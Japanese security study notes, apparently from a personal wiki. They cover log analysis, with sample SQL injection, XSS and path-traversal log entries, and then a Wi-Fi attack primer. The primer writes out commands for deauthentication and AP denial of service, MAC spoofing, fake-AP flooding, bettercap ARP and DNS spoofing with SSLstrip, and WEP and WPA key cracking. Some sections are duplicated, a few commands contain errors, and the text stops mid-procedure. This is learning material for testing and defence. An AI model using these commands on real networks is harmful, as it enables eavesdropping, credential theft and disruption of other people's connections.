これらの「パターン」とは、脅威アクターまたはサイバーセキュリティインシデントによってログに残された識別可能なアーティファクトを指す。 幸いなことに、学習すれば検出能力が向上し、インシデントに効率的に対応できる一般的なパターンがいくつか存在する。

ユーザの行動異常

システムを使うユーザが行う行動から逸脱したアクションやアクティビティを異常行動として扱う。 以下のような内容が異常行動として扱える。

  • ログイン試行に複数回失敗 * 短期間に異常に多くのログイン失敗が発生した場合は、ブルートフォース攻撃を示している可能性がある
  • 異常なログイン時間 * ユーザーの通常のアクセス時間またはパターン以外のログインイベントは、不正アクセスまたはアカウントの侵害を示す可能性がある
  • アクセス元の異常 * ユーザーが通常アクセスしない国の IP アドレスからのログインイベントは、潜在的なアカウント侵害または不審なアクティビティを示している可能性がある
  • パスワードの頻繁な変更 * ユーザーのパスワードが短期間に頻繁に変更されたことを示すログイベントは、不正アクセスを隠蔽したり、アカウントを乗っ取ったりする試みを示唆している可能性がある
  • 異常なユーザエージェント文字列 * HTTPトラフィックのログのコンテキストでは、一般的なブラウザとは異なる一般的なユーザーエージェント文字列を持つユーザーからのリクエストは、自動化された攻撃または悪意のあるアクティビティを示している可能性がある

一般的な攻撃サイン

ログデータ内の一般的な攻撃シグネチャを特定することは、脅威を検出して迅速に対応するための効果的な方法といえる。 これは攻撃シグネチャには、脅威アクターが残した特定のパターンや特徴が含まれているためである。 検知しやすいシグネチャーの例には以下のようなものがある。

  • SQLインジェクション
    • 例:10.10.61.21 - - [2023-08-02 15:27:42] "GET /products.php?q=books' UNION SELECT null, null, username, password, null FROM users-- HTTP/1.1" 200 3122
  • XSS
    • 例:10.10.19.31 - - [2023-08-04 16:12:11] "GET /products.php?search=<script>alert(1);</script> HTTP/1.1" 200 5153
  • パストラバーサル
    • 例:10.10.113.45 - - [2023-08-05 18:17:25] "GET /../../../../../etc/passwd HTTP/1.1" 200 505

ログの分析手法

ログの分析手法には自動分析手動分析がある。

自動分析

自動分析はツールを使って行う。具体的にはXPLG や SolarWinds Logglyなどの商用ツールなども含まれる。

  • 長所
    • 分析の手間が削減できる
    • 人工知能による分析はパターン分析に効果的となる
  • 短所
    • 自動分析ツールは多くの場合は商用である
    • コストがかかる

手動分析

手動分析は自動化ツールを使用せずにデータと成果物を手動で検査するプロセスといえる。

  • 長所
    • 単純なコマンドで解析ができる
    • 徹底的に調査できる
  • 短所
    • ログの再フォーマットなどは手動で行う必要がある
    • イベントやアラートを見逃す可能性がある

コマンドラインによるログ分析

catコマンド

ファイルの内容を表示するコマンド。

cat apache.log

lessコマンド

ファイルの内容を一気に表示せず少しずつ表示するコマンド。 や```↓``キーでスクロールできる。

less apache.log

tailコマンド

ファイルの内容を後ろから表示するコマンド。 デフォルトでは最後の10行が表示される。

-fオプションでリアルタイムの更新も反映、-n 数字で表示行数の変更ができる。

tail -f -n 10 apache.log

wcコマンド

ファイル内の行数、単語数、文字数に関する情報を見ることのできるコマンド。

wc apache.log

cutコマンド

指定された区切り文字に基づいてファイルから特定の列 (フィールド) を抽出できるコマンド。 構造化データまたはタブ区切りデータを含むログ ファイルを操作する場合に便利なコマンドといえる。

# IPアドレスをApache.logから抽出する例
# -f 7:URL, -f 9でステータスコード確認できる
cut -d ' ' -f 1 apache.log

sortコマンド

特定の基準に基づいてファイル内のデータを昇順または降順にするコマンド。 ログデータのパターン、傾向、外れ値を特定するために重要な操作となる。

# IPアドレスを並び替える例
cut -d ' ' -f 1 apache.log | sort -n [-r]

uniqコマンド

並べ替えられた入力から隣接する重複行を識別して削除するコマンド。 特にログエントリに繰り返しまたは冗長な情報が含まれる可能性がある場合に、データリスト (収集されたIPアドレスなど) を簡素化するのに便利なツールといえる。

# 重複したIPアドレスを削除して表示する例
cut -d ' ' -f 1 apache.log | sort -n -r | uniq

# -cオプションで出現回数も追加して表示できる
cut -d ' ' -f 1 apache.log | sort -n -r | uniq -c

sedコマンド

ログ分析によく使用されるコマンドで、データを効率的に操作、抽出、変換できる。 なお表示形式を変えて表現できるだけでファイル内容の変更は直接行わない

# 日付形式を31/Aug/2024からAug 31, 2024に置き換え表示する例
sed 's/31\/Aug\/2024/Augs 31, 2024/g' apache.log

awkコマンド

awkコマンドは特定のフィールド値に基づく条件付きアクションして表示できるコマンド。 なお$Nは空白で区切られたフィールド項目を示す。

# HTTPレスポンスコードが400以上の行を表示
awk '$9 >= 400' apache.log

grepコマンド

ファイルまたはテキストストリーム内の特定のパターンまたは正規表現を検索できるコマンド。

# 通常の検索
grep "検索文字" apache.log
# 含む行のカウント
grep -c "検索文字" apache.log
# どの行が一致したか表示したい場合(N:で表示)
grep -n "検索文字" apache.log
# 検索文字を含まない行を表示
grep -v "検索文字" apache.log

正規表現によるログ分析

grepコマンドと正規表現

grepコマンドの場合-Eオプションを付けることで正規表現を利用できる。

grep -E "正規表現" [ファイル]

ログ解析用の正規表現

Apacheログの場合の各項目を抽出するための正規表現を以下に記載する。

  • IPアドレス
    • \b([0-9]{1,3}\.){3}[0-9]{1,3}\b
  • タイムスタンプ
    • \[(\d\d)\/(...)\/(\d{4}):(\d\d):(\d\d):(\d\d) ([+-]\d{4})\]
  • HTTPメソッド
    • (POST|GET|PUT|DELETE|PATCH)
  • URL
    • "([^"]+)[0,1]"
  • ユーザエージェント
    • ``"([^"]+)"[間違い]

また正規表現の作成はRegExrで容易に確認できる。

LogstashとGrok

GrokはLogstashのプラグインで非構造化ログ データを構造化された検索可能なデータに解析できるようにできる。 人間が読み取るために作成されたログ形式によく使用される。

11 - 無線セキュリティ基礎

WIFI,BlueTooth,RFIDなど無線通信に関するメモ

11.1 - 1. 無線LAN(WIFI)基礎

WIFIのハッキングに関して

11.1.1 - 1. Wifi攻撃の基礎知識

基本中のキホン

1.1. WIFIクラッキングの基礎知識

1.1.1. WiFIとは

IEEE802.11標準に基づくWLANのこと。

詳細はコチラから。

1.2.1. WIFIのクラッキングの種類

WIFIクラッキングは不正使用盗聴/中間者攻撃に分けられる。

不正使用

不正使用を行うにはAPのスキャニングが必要となる。
具体的にはWIFIを検出するデバイス(PCやスマホ)となる。

WIFIチョーキング

WIFIチョーキングは不正使用可能なAPをマーキングして共有すること
WIFIチョーキングの手法には以下のようなことがある。

  • ウォーウォーキング … 徒歩でオープンなWIFIを検出
  • ウォーフライング … ドローンを使用してオープンなWIFIを検出
  • ウォードライビング … 車を使用してオープンなWIFIを検出

盗聴/中間者攻撃

盗聴/中間者攻撃には以下のようなことがある。本稿これ以下ではこの手法に関してのヒントを記載する。

  • 不正APの設置 … APモードが必要
    • 接続したユーザの通信の監視 … Wiresharkなどの使用
    • 中間者攻撃の設置
  • 無線盗聴
    • 無線経路上のデータを傍受
    • 通信内容の盗聴(暗号解読の必要)

1.2.2. WIFIセキュリティの基本

暗号化規格

4Wayハンドシェイク

4Wayハンドシェイクは現在の一般家庭WIFIルータで広く使用されている規格であるWPA-PSKで使用されている手続き。

この手法によりクライアントは PTK (Pairwise Transient Key) と GTK (Group Temporal Key) という 2 種類の鍵をインストールする。

  • PTK … ユニキャスト暗号・復号用の鍵
  • GTK … マルチキャストおよびブロードキャスト暗号・復号用の鍵

4Wayハンドシェイク

クライアントとアクセスポイントはそれぞれ、事前に共有したパスワード(PSK)とアクセスポイントの ESSID から PMK (Pairwise Master Key) を計算する。

4Wayハンドシェイクの手順は以下の通り。

  1. アクセスポイントはランダムな値 ANonce を決めクライアントに送信する
  2. クライアントも同様にランダムな値 SNonce を決定し、PMK, 受け取ったANonce, SNonce, アクセスポイントの MAC アドレス, クライアントの MAC アドレスから PTK (Pairwise Transient Key) を計算する
  3. クライアントは SNonce と メッセージのペイロードと PTK から計算した MIC (Message Integrity Code) をアクセスポイントに送信する
  4. アクセスポイントは SNonce を受け取った後、クライアントと同様に PTK の計算および MIC の検証(MIC を計算し一致するか確認)を行う
  5. ANonce、マルチキャスト通信の暗号化に使用する鍵 GTK (Group Transient Key) および MIC をクライアントに送信する
  6. クライアントは ANonce、GTK および MIC を受け取った後、MIC の検証を行う
  7. ここまでで問題がなければ MIC のみを設定したメッセージ をアクセスポイントに返送する

ステップ4でクライアントの PSK が正しくない場合や、メッセージが改ざんされていた場合に検知することができる。 また、ステップ6でクライアントは不正なアクセスポイントに接続しようとしていないかを確認することができる。

SAEハンドシェイク

SAEハンドシェイクはWPA3において4Wayハンドシェイクを行う前に行われる手続きでWPA3に利用されている。

SAEハンドシェイク

1.2.3. WIFIアダプタの動作モード

WIFIクラッキングを行う場合WIFIアダプタはMonitorモードInjectionモードに対応している必要がある。
通常のWIFIアダプタはManagedモードのみに対応している。

Managedモード

Managedモードは通常の無線クライアントデバイスとして動作するモード
このモードは一般的に通常のWi-Fi接続に使用される。

Monitorモード

Monitorモードはパケットキャプチャやネットワークトラフィックの監視に対応しているモード
このモードではデバイスはアクセスポイントに接続せず、周囲のWi-Fiトラフィックを受信できる。
セキュリティ診断やネットワークトラブルシューティングなどで使用可能。

Monitorモードでキャプチャされるデータは、暗号化されたままのデータ(MACヘッダ+データ部+FCS)となる。 他、入手可能な情報として、受信した電波の強さや伝送速度などがある。

具体的に可能なことは以下の通り。

  • 周囲のWifiネットワークのSSIDやそこに繋がれているクライアントデバイス情報の取得
  • 行き来しているデータ/パケットを読むことによるパケットの解析
  • ARPテーブルを外部から操作するパケットの注入してから中間者攻撃でネットワーク通信の真ん中に入り、HTTPSに対する攻撃であるSSLStripからトロイの木馬へのすり替えを行う

Injectionモード

Injectionモードはセキュリティテストやハッキングのコンテキストで使用されるモードでネットワークにデータパケットを注入する機能がある
このモードは通常セキュリティ研究や評価の一環として、ネットワークの脆弱性をテストするために使用される。

1.2.4. モード対応WIFIアダプタの入手方法

Monitor/Injectionモードに対応しているWIFIアダプタの入手にはWIFIアダプタ内のチップセットが重要となる。
そのためメーカやモデルよりも搭載されたチップセットを気にする必要がある。

対応アダプタを調べるために役に立つサイトを以下に記載する。

Aircrack-ng | DEPRECATED

1.2.5. WIFIルータの動作モード

WIFIルータにはAPモード(アクセスポイントモード)とRTモード(ルータモード)、WBモード(ブリッジモード)がある。

APモード

APモードは無線LANにおいて複数のクライアントをネットワークに接続するための電波を受けるモード
アクセスポイントとして動作するワイヤレスなL2通信モード(スイッチングハブ)といえる。

RTモード

RTモードはAPモードの機能に加えてルーティング機能も併せ持つモード
WANを含む異なるネットワークにつなぐ場合に必要な機能で、ワイヤレスなL3通信モード(ルータ)といえる。

WBモード

WBモードはルータをネットワーク自体の中継器にするためのモードブリッジとして動作するといえる。

1.3. WIFIの脆弱性への攻撃

WIFIの脆弱性に対する代表的な攻撃を一部記載する。

1.3.1. ディア・ジャミング攻撃

ディア・ジャミング攻撃は攻撃者がクライアントデバイスをネットワークから切断するために使用される攻撃手法のこと。
この攻撃により攻撃者はクライアントデバイスとアクセスポイントの通信を中断し、クライアントをネットワークから切り離すことができる。

具体的な内部動作としては、攻撃者端末はディア・ジャミング攻撃を実行するために特定のディア・アソシエーションフレームを送信する。
これにより、クライアントデバイスは一時的にネットワークから切断され再接続が必要な状態となる。この性質を悪用したものとなっている。

つまりこの攻撃はネットワークの適切な利用を妨害することが目的としてある。

1.3.2. Krack攻撃

Krack攻撃はWPA2暗号化プロトコルに対する攻撃クライアントとアクセスポイント間の暗号鍵を再インストールし通信を盗聴する中間者攻撃の一種。

具体的には攻撃者は中間者として振る舞い、暗号化鍵の再インストールを誘導する。
これにより攻撃者は通信を解読でき、通信の内容を盗聴できるというものになる。

Krack攻撃の目的はWPA2によって保護されているネットワーク通信を妨害し、機密情報を盗聴することになる。

Krack攻撃の仕組み

KRACK攻撃は4wayハンドシェイクの4Wayハンドシェイクの完了メッセージ①送信を中間者攻撃により意図的に止めることにより、ANonce、マルチキャスト通信の暗号化に使用する鍵 **GTK** (Group Transient Key) および MIC をクライアントに送信するメッセージ②を再送させる。

Krack

Krack攻撃はこのメッセージ③を再送させ続けることで TK をずっと同じものを使わせることが特徴となる。
この際の 同じ nonceや TK、同じパターンのnonceで暗号化されたフレームを解析することでパターンを解析し盗聴できるようにするものといえる。

1.3.3. PMKID攻撃

PMKID(Pairwise Master Key Identifier)攻撃はWPA/WPA2暗号化プロトコルに対する攻撃で暗号化キーを抽出しようと試みる攻撃
攻撃者はPMKIDを収集し、ブルートフォース攻撃を使用して暗号化キーを推測する。
この攻撃は事前共有鍵を狙い、パスワードの破解を試みるというものである。

1.3.4. Evil-twins攻撃

Evil-Twin攻撃は、攻撃者が合法的なアクセスポイント(AP)と同じSSID(ネットワーク名)を使用して偽のAPを設定し、ユーザーを欺こうとする攻撃。
的なAPと同じに設定し、ユーザーが接続すると、攻撃者は通信を傍受し機密情報を取得できるようにする。

1.2 WIFIセキュリティの仕組み

1.2.1. WEP

WEPはLANと同等のセキュリティーレベルをWLANで提供することを目的としたセキュリティ規格。 脆弱性が重大であるため使用が非推奨となっている。

WEPはデータの暗号化に単一の暗号鍵を使用しこの暗号鍵は定期的に変更されないため、セキュリティが脆弱となっている。 また、WEPの鍵の長さが短く予測可能なパターンを持つため、攻撃者が鍵を簡単に解読できる可能性が高い

WEPの脆弱性により、攻撃者はネットワークトラフィックを傍受し、暗号化されたデータを解読することが可能となっている。

1.2.2. WPA

1.2.3. WPA2

WPA2-PSK

WPA2-PSK(WPA2パーソナル)は端末と無線APで事前に設定されている共通のパスフレーズを使って認証する方式

WPA-PSK

WPA2-PSKではPSKを元にMSK(Master Session Key)を生成し、MSKの先頭256bitをPMKとして利用する。
この手法から同一のSSID配下のクライアントのPMKは同一となる

WPA2-PSKでは4way handshakeの通信を傍受することで、PSKを推測するための情報が収集でき、辞書攻撃によるパスワード解析が可能となる。

WPA2-EAP

WPA2-EAP(WPA2エンタープライズ)はEAPを使い認証サーバによる認証をする方式

WPA2-EAPでは認証サーバにより端末ごとに個別のMSKが生成される
EAP認証が成功した後、生成されたMSKが端末に送信される。

1.2.4. WPA3

WPA3-Personal

WPA3-Enterprise

1.2.5. WPS

WPSは無線LAN端末と無線ルーターをボタン1つで簡単に設定するための規格

基本的にWPSでは、アクセスポイントとクライアントが一連のEAPメッセージを交換する。
このトランザクションの終了時に、クライアントは暗号化キーとAPの署名を取得し、暗号化されたネットワークに接続できるようになる。

1.3. WIFIの脆弱性への攻撃

WIFIの脆弱性に対する代表的な攻撃を一部記載する。

1.3.1. ディア・ジャミング攻撃

ディア・ジャミング攻撃は攻撃者がクライアントデバイスをネットワークから切断するために使用される攻撃手法のこと。
この攻撃により攻撃者はクライアントデバイスとアクセスポイントの通信を中断し、クライアントをネットワークから切り離すことができる。

具体的な内部動作としては、攻撃者端末はディア・ジャミング攻撃を実行するために特定のディア・アソシエーションフレームを送信する。
これにより、クライアントデバイスは一時的にネットワークから切断され再接続が必要な状態となる。この性質を悪用したものとなっている。

つまりこの攻撃はネットワークの適切な利用を妨害することが目的としてある。

1.3.2. Krack攻撃

Krack攻撃はWPA2暗号化プロトコルに対する攻撃クライアントとアクセスポイント間の暗号鍵を再インストールし通信を盗聴する中間者攻撃の一種。

具体的には攻撃者は中間者として振る舞い、暗号化鍵の再インストールを誘導する。
これにより攻撃者は通信を解読でき、通信の内容を盗聴できるというものになる。

Krack攻撃の目的はWPA2によって保護されているネットワーク通信を妨害し、機密情報を盗聴することになる。

1.3.3. PMKID攻撃

PMKID(Pairwise Master Key Identifier)攻撃はWPA/WPA2暗号化プロトコルに対する攻撃で暗号化キーを抽出しようと試みる攻撃
攻撃者はPMKIDを収集し、ブルートフォース攻撃を使用して暗号化キーを推測する。
この攻撃は事前共有鍵を狙い、パスワードの破解を試みるというものである。

1.3.4. WPSピン攻撃

WPSピン攻撃はWPSのPINコードを解読しようとうする攻撃
WPSはネットワーク接続を簡略化するための仕組みで、通常はPINを使用してデバイスをネットワークに接続する。
WPSピン攻撃は、WPSのPINコードを解読することでネットワークにアクセスできるというものになる。

この攻撃では通常ブルートフォースアタックでWPSピンコードを試行することとなる。

1.3.5. Evil-twins攻撃

Evil-Twin攻撃は、攻撃者が合法的なアクセスポイント(AP)と同じSSID(ネットワーク名)を使用して偽のAPを設定し、ユーザーを欺こうとする攻撃。
攻撃者は目標ユーザーが接続しやすいようにSSIDを合法的なAPと同じに設定し、ユーザーが接続すると、攻撃者は通信を傍受し機密情報を取得できるようにする。

1.4. WIFIのセキュリティへの攻撃

1.4.1. WEPへの攻撃

WEPキーの解読

WEPキーの解読のための一般的な攻撃には、鍵を総当たりで試行する方法(Brute Force攻撃)や、パケットの収集と統計的な手法(統計的攻撃)がある。

ARPリプレイ攻撃

既知のARPパケットを再生し、WEPキーを取得しようとするWEPの脆弱性を利用した攻撃が可能となっている。

1.4.2. WPAへの攻撃

TKIPの解読

WPAはTKIPと呼ばれる一時的な鍵管理プロトコルを使用してデータを暗号化する。
TKIPは時間が経過するにつれて弱体化するため、高度な攻撃よって解読される場合がある。

WPS攻撃

WPAのネットワークではWPSが有効になっている場合、PIN攻撃などの方法でWPSを乱用しネットワークにアクセスすることができる可能性がある。
これにより設定されたWPAパスワードが無視できる。

1.4.3. WPA2-PSKへの攻撃

ブルートフォースアタック

WPA2-PSKネットワークの最も一般的な攻撃方法はブルートフォースアタックとなる。
これは攻撃者がすべての可能なパスワード組み合わせを試すことを意味する。
強力なパスワードを使用している場合この攻撃は非常に困難となるが、弱いパスワードを使用している場合は攻撃が成功する可能性が高くなる。

辞書攻撃

辞書攻撃では攻撃者は一般的なパスワードや辞書内の単語のリストを使用してネットワークにアクセスしようとする。

ハンドシェイク攻撃

WPA2-PSKではクライアントとアクセスポイント間で安全なハンドシェイクが行われる。
このハンドシェイクをキャプチャすることでオフラインで解析しようとする攻撃もある。

強力なパスワードを使用している場合でも、ハンドシェイク攻撃に対する保護が不十分な場合はこの攻撃が有効になる場合がある。

11.1.2 - 2. Wifi攻撃のツールの使用方法

Wifiの攻撃ルールの紹介

2.1. AirCrack-ng

2.1.1. AirCrack-ngとは

Aircrack-ngはワイヤレスネットワークのセキュリティテストおよび解析を行うためのCLIツール。 Kali Linuxに標準搭載されている。 主にワイヤレスネットワークのセキュリティ強化と脆弱性診断に使用される。

具体的にはIEEE802.11のWEP/WPA-PSKキーのクラッキングが行える。

公式ドキュメント:https://www.aircrack-ng.org/doku.php

可能なことや特徴は以下の通り。

  • パスワードクラッキング
    • WEP/WPA/WPA2などのWIFI暗号化キーを解読する事が可能
  • ハンドシェイクキャプチャ
    • ワイヤレスネットワークのハンドシェイクトラフィックをキャプチャしそれを解析することが可能
  • スニッフィング
    • ワイヤレスネットワーク上のトラフィックをキャプチャし分析することが可能。
  • 無線ネットワークのテスト
    • 無線ネットワークの脆弱性をテストが可能

2.1.2. AirCrackの関連コマンド

公式ドキュメントはコチラから。

iwconfigコマンド(AirCrack搭載ではない)

無線LANインタフェースの参照・設定などができるLinuxシェル。

公式ドキュメント: https://linux.die.net/man/8/iwconfig

iwconfig # ネットワークアダプタ一覧の確認
iwconfig <インターフェイス> # インターフェイスの状態確認
iwconfig <インターフェイス> mode < managed | moniter > # モード切替え

airmon-ngコマンド

モニターモードを扱うためのコマンドレット。

airmon-ng <start|stop> <interface> [channel] or airmon-ng <check|check kill>

公式ドキュメント: https://www.aircrack-ng.org/doku.php?id=airmon-ng

airmon-ng check # airmon-ng へ影響を与える全プロセスの確認
airmon-ng check kill # airmon-ng へ影響を与える全プロセスの強制終了
airmon-ng start <インターフェイス> # モニターモードの開始
airmon-ng stop <インターフェイス>mon # モニターモードの無効化

NetworkManager等のネットワーク管理プロセスが立ち上がっている場合、airmon-ng の動作が阻害されることがある。 そのための確認などを行う時に使用する。なおすべて停止させるにはairmon-ng check killを行う。

airodump-ngコマンド

パケットキャプチャ/スニッフィングに使用されるコマンドレット。

airodump-ng <options> <interface>[,<interface>,...]

公式ドキュメント: https://www.aircrack-ng.org/doku.php?id=airodump-ng

airodump-ng <インターフェイス> # 無線状況の確認などができる
airodump-ng -c 6 --bssid 00:0F:8F:44:21:80 -w test-psk wlan0mon # wlanをモニターモードでチャンネル6のBSSID 00:~をtest-psk.capにパケットキャプチャし書き込む

aircrack-ngコマンド

WEP および WPA/WPA2-PSK キークラッキングプログラム実行用コマンドレット。

aircrack-ng [options] <capture file(s)>

# WPA/WPA2の辞書攻撃
aircrack-ng -w [wordlist] [pcap]

公式ドキュメント: https://www.aircrack-ng.org/doku.php?id=aircrack-ng

airbase-ngコマンド

偽のアクセスポイントを設定するコマンドレット。

airdecap-ngコマンド

WEP/WPA/WPA2の暗号化を解くためのコマンドレット。

aireplay-ngコマンド

パケットインジェクションを行うためのコマンドレット。

aireplay-ng -9 <インターフェイス>

# Deauth(認証解除攻撃)をMACアドレスのアクセスポイントに実行
# Essidの非表示のAPの表示化に使える
aireplay-ng -0 20 -a [MACアドレス] [インターフェイス]

2.1.3. AirCrack-ngの使い方

ESSIDが非表示のネットワークを見る方法

# モニターモードで以下を実行
airmon-ng start wlan0
# WIFi状況の確認
airodump-ng wlan0mon
# Ctrl+Cで非表示ネットワークを確認
# BSSIDとCHをメモする
airodump-ng -c [チャンネル] --bssid [BSSID] wlan0mon
# 上記コマンドで観測を行う

# 別ウィンドウでDeauth攻撃を行う
aireplay-ng -0 [パケット数] -a [BSSID] wlan0mon

MACアドレスの偽装(macchanger)

MACアドレスの偽装例は以下の通り。 なおMACアドレスは偽装しても再起動後にデフォルトのMACアドレスに戻る。

ifconfig wlan0 down
macchanger -r wlan0
macchanger -m [偽装MAC] wlan0
ifconfig wlan0 up

アクセスポイントに対するDoS攻撃

# モニターモードで以下を実行
airmon-ng start wlan0
# WIFi状況の確認
airodump-ng wlan0mon
airodump-ng wlan0mon
# Ctrl+Cで非表示ネットワークを確認
# BSSIDとCHをメモする
airodump-ng -c [チャンネル] --bssid [BSSID] wlan0mon
# 上記コマンドで観測を行う

# 別ウィンドウでDeauth攻撃を行う
aireplay-ng -0 [パケット数(膨大)] -a [BSSID] wlan0mon

沢山の偽のアクセスポイント

mdk3 wlan0mon b -c [チャンネル] -f [ESSIDの名前リストファイル]

WEPに対する攻撃

2.8. 具体的な攻撃手法を参照。

2.2. coWPatty

2.2.1 coWPattyとは

coWPattyはワイヤレスネットワークのセキュリティを解析するための静的解析ツールの一つ。 具体的には、WPAおよびWPA2暗号化を使用して保護されているWi-Fiネットワークのパスワードを解析しようとするために使用できる。

このツールは、WPA/WPA2のパスワードをブルートフォース攻撃で求めるように設計されている。 そのため解析に非常に時間がかかる場合がある。しかし強力なコンピュータリソースや事前に収集したハンドシェイクキャプチャデータを使用することで、効果的にWPA/WPA2のパスワードを解析することができる。

2.2.2. coWPattyの関連コマンド

公式ドキュメントはコチラから。

2.3. Reaver

2.3.1. Reaverとは

ReaverはWIFiアクセスポイントへのWPSピン攻撃をブルートフォースで実行するツール。

https://github.com/t6x/reaver-wps-fork-t6x

2.4. Pixiwps

2.3.2. Pixiwpsとは

PixeWPS は、WPSトランザクション中にキー交換を総当たり攻撃するツール。

2.5. Wifite

2.5.1. Wifiteとは

Wifiteはターミナルからコマンドを使用して無線LANへのペネトレーションテストを行うツール。 特徴は以下の通り。

  • WLANのスキャンと暗号化方式、信号強度などの情報取得
  • Wi-Fiネットワークをスキャン、脆弱性を見つけるプロセスの自動化
  • WEP、WPA、WPA2、WPSへの攻撃サポート
  • ブルートフォースアタック、WPSピン攻撃、辞書攻撃へのサポート

Wifiteのコマンド

基本形は以下の通り。

wifite <オプション>
オプション説明
-hヘルプ
-vその他のオプション表示
-i <インターフェイス>使用するインターフェイスの指定
-c <チャンネル>スキャンするチャンネルの指定
-inf無限攻撃モードの有効化
-macワイヤレスカードのMACアドレスをランダム化
-p <スキャン時間(s)>スキャン時間の後にすべてのターゲットを攻撃する
-killAirmon/Airodumpと競合するプロセスをキルする
-pow <最低シグナル強度>最低シグナル強度以上の以上の信号強度を持つターゲットを攻撃
-skip-crackキャプチャーされたハンドシェイク/pmkidのクラッキングをスキップする
-first <ターゲット>最初のターゲットを攻撃する
-clients-only関連するクライアントを持つターゲットのみを表示
-nodeauthsパッシブモード。クライアントの認証を解除しない
-daemon終了後、デバイスをマネージドモードに戻す
オプション説明
WEP
-wepWEPで暗号化されたネットワークのみを表示
-require-fakeauthfake-authが失敗した場合、攻撃を失敗させる
-keep-ivs.IVSファイルを保持し、クラック時に再利用する
WPA
-wpaWPAで暗号化されたネットワークのみを表示(WPS含む)
-new-hs新しいハンドシェイクをキャプチャし、hsにある既存のハンドシェイクを無視する
-dict <ファイル>クラッキング用のパスワードを含むファイル指定
WPS
-wpsWPS対応のネットワークのみを表示
-wps-onlyWPS PINとPixie-Dust攻撃のみを使用
-bullyWPS PINやPixie-Dustの攻撃にいじめっ子プログラムを使用
-reaverWPS PINおよびPixie-Dust攻撃にreaverプログラムを使用
-ignore-locksAPがロックされてもWPS PIN攻撃を停止しない
PMKID
-pmkidPMKIDキャプチャのみを使用し、他のWPSおよびWPA攻撃を回避する
-no-pmkidPMKIDキャプチャーを使用しない
-pmkid-timeout <秒>PMKID capturevを待つ時間の指定
COMMANDS
-cracked今まで割れていたアクセスポイントを表示する
-check <ファイル(hs/*.cap)>.capファイル(またはすべてのhs/*.capファイル)のWPAハンドシェイクをチェックする
-crackキャプチャしたハンドシェイクをクラックするコマンドを表示

Wifiteの基本的な使い方

  1. wifiteの実行
  2. ターゲットのアクセスポイントが表示されたらCtrl+Cで停止する
  3. ターゲットのアクセスポイントの番号をCUI上に入力する
  4. パスワードクラシックの開始(時間(数時間)がかかる場合あり)

2.6. fern Wifi Cracker

fern Wifi CrackerはPythonで書かれたWIFIセキュリティ監査/ペネトレーションテスト用のGUIプログラム。 WEP/WPA/WPSキーのクラックとWLAN/Ethernetネットワークに対する攻撃が可能

特徴は以下の通り。

  • フラグメンテーション,ChipChop,Caferate,ARPリクエストリプレイ,WPS攻撃によるWPSクラッキングの対応
  • 辞書/WPSベースのWPA/WPA2への攻撃
  • クラッキングの成功時の鍵のデータベース自動保存
  • 自動AP攻撃の実行
  • ブルートフォースアタックの対応

2.7. BetterCap

Wi-Fi、BLE、ワイヤレスデバイス、イーサネットに対してスキャンやクラッキングを行うことのできるツール。 中間者攻撃を検証する際に利用できる。特徴は以下の通り。

https://www.bettercap.org/intro/

  • ARPスプーフィング、DNSスプーフィング、DHCPv6スプーフィング
  • JavaScriptプラグインで拡張可能なHTTP/HTTPSなどのプロキシ機能
  • クレデンシャル収集のためのネットワークスニファ機能
  • ポートスキャン機能
  • Wi-FiやBLEに対するスキャンやクラッキングの機能

基本的な使い方

起動

# BetterCapの利用
sudo bettercap -iface [インターフェース]

# 攻撃対象の確認(ARPテーブルの情報を表示)
net.show
# サブネット内の全IPアドレスに対してARPリクエストをブロードキャストする
net.probe [on | off]

ARPスプーフィング

## ARPスプーフィングの開始
set arp.spoof.fullduplex true
set arp.spoof.targets [IPアドレス]
arp.spoof [on | off]
# ARPスプーフィング開始後はWiresharkで通信を確認する

DNSスプーフィング

DNSスプーフィングのためにはどのドメイン名に対してどのIPアドレスに誘導するかを設定する必要がある。 方法は以下の2通り

  • インタラクティブシェル上からdns.spoof.addressdns.spoof.domainsを設定する方法
  • ドメイン名とIPアドレスを記述したファイルをあらかじめ作成してdns.spoof.hostsに読み込ませる方法

1番目の方法を解説。

set dns.spoof.domains [ドメイン名],[ドメイン名]...
set dns.spoof.address [IPアドレス]
set dns.spoof.all true
dns spoof [on|off]

2番目の方法を解説。

  1. spoof.hostsを作成(www.google.comなど書く)
  2. set dns.spoof.hosts ./[ファイル名]で設定を読み込む
  3. get dns.spoof.hostsで設定を確認
  4. dns spoof [on|off]でDNSスプーフィングを実行

透過型HTTPプロキシ

なお以下コマンドで建てた透過型プロキシではほとんどの場合は、httpsに対応したいサイトではHSTSが検知してしまう。

set http.proxy.sslstrip true
set net.sniff.verbose false
set arp.spoof.targets [IPアドレス]
arp.spoof on
http.proxy on
net.sniff on
SSLストリッピングとHSTSバイパスを行うHTTPプロキシ

以下手法ではSSLにおいてWWWからサブドメインが始まるURLのほとんどにTLS化が行われていることを利用して、ターゲットのFDQNをwwwからwwwwに変更を行い、名前解決をBettrecap側で行わせるものとなる。

sudo bettercap -I [インターフェイス] -X --gateway [ルータのIPアドレス] --target [IPアドレス] --proxy --parsers POST

2.8. 具体的な攻撃手法

2.8.1. WEPに対する攻撃 (airmon-ngの使用)

攻撃の種類はWEPキーの解読となる。 なお、攻撃対象はAPと端末が通信している必要がある

また途中で解析が止まった場合は以下の可能性がある。

  • パケット解析結果が少ない
  • 対象ルータへのアクセスが少ない

使用ツール/ファイル

  • ハードウェア
    • Monitorモード対応WIFIアダプタ
  • ソフトウェア
    • airmon-ng

攻撃手段

  1. 以下手順により攻撃対象のAPのBSSIDとChannnel情報、パケット情報を収集
    • WIFIアダプタをMonitorモードに変更
      • ifconfig <インターフェイス> down
      • iwconfig <インターフェイス> mode monitor
      • ifconfig <インターフェイス> up
      • iwconfig <インターフェイス>で確認
    • sudo airodump-ng <インターフェイス>でMonitorモード動作/BSSID/チャンネル情報の確認
    • sudo airodump-ng -c <チャンネル番号> --bssid <BSSID> -w <作成したいパケットファイル名> <インターフェイス>でパケット情報収集(任意時間):※Dataが多くたまる必要あり
  2. sudo airodump-ng <作成したいパケットファイル名>-01.capでパスワード解析開始(時間がかかる)

2.8.2. WPAに対する辞書攻撃 (fern Wifi Crackerの使用)

攻撃には辞書データが必要

パスワードの辞書ファイル例は以下より。

SecLists | https://github.com/danielmiessler/SecLists

またKali Linuxの/usr/share/wordlists/以下にも辞書ファイルがある。 おすすめはrockyou.txt

使用ツール/ファイル

  • ハードウェア
    • Monitorモード対応WIFIアダプタ
  • ソフトウェア
    • fern Wifi Cracker
  • 必要なデータ
    • 辞書攻撃用の辞書ファイル

攻撃手順

  1. fern Wifi Crackerの起動
